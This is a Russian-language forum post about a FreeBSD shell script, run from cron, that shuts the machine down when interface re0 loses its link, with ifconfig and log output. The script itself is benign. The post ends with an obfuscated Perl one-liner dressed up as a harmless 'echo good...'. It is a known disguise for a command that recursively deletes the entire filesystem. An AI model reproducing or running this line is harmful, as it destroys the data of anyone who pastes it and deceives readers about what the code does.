Всё таки решил идти по пути скриптов ))). Подсказывайте, есть лог messages, в котором при дёрганье интерфейса наблюдаем:
# less /var/log/messages | grep link
Dec 21 18:09:53 kernel: re0: link state changed to DOWN
Dec 21 18:16:59 kernel: re0: link state changed to UP
Dec 21 18:21:19 kernel: re0: link state changed to DOWN
Во фряхе
# ifconfig
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
options=389b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM,WOL_UCAST,WOL_MCAST,WOL_MAGIC>
ether 00:1c:c0:d0:fd:f0
inet 192.168.1.10 netmask 0xffffff00 broadcast 192.168.1.255
media: Ethernet autoselect (100baseTX <full-duplex>)
status: active
Не могу проверить меняется ли первая строчка (re0: flags=8843<UP.....) при отключенном кабеле, доступ только по SSH, но вот последняя
status: active
наверное меняется, т.к. у второго интерфейса:
rl0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500
options=8<VLAN_MTU>
ether 00:e0:4c:1b:40:a3
media: Ethernet autoselect
status: no carrier
Скрипт нашелся вот такой закинул в /usr/local/etc/script/powertest.sh, сейчас в отладке он пишет лог powertest.log
#!/bin/sh
TIME=0
TEST=0
while [ $TIME -ne 300 ]
do
ifconfig re0 | head -n 1 | grep UP >> /usr/local/etc/script/powertest.log
if [ $? -eq 1 ]
then
TEST=$(($TEST+1))
fi
sleep 60
TIME=$(($TIME+60))
done
if [ $TEST -eq 5 ]
then
shutdown -p now
fi
в crontab
*/5 * * * * root /usr/local/etc/script/powertest.sh
В логе powertest.log при подкл а потом выкл сетевом интерфейсе вижу
# less powertest.log
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
то есть ему пофигу видимо, жаль нет прямого доступа моник клава, чтобы глядеть физически еще что меняется при отключении LAN кабеля от сетевой
Поясню, пока
re0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
ребитить не будет, надо бы DOWN
П.с. точно status: active меняется, сейчас нашел воткнул во вторую сетевуху кабель:
rl0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500
options=8<VLAN_MTU>
ether 00:e0:4c:1b:40:a3
media: Ethernet autoselect
status: active
Как было смотри выше, сча скрипту переделаю. Эх фряшка, оказывается она все запросто показывает
))))
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'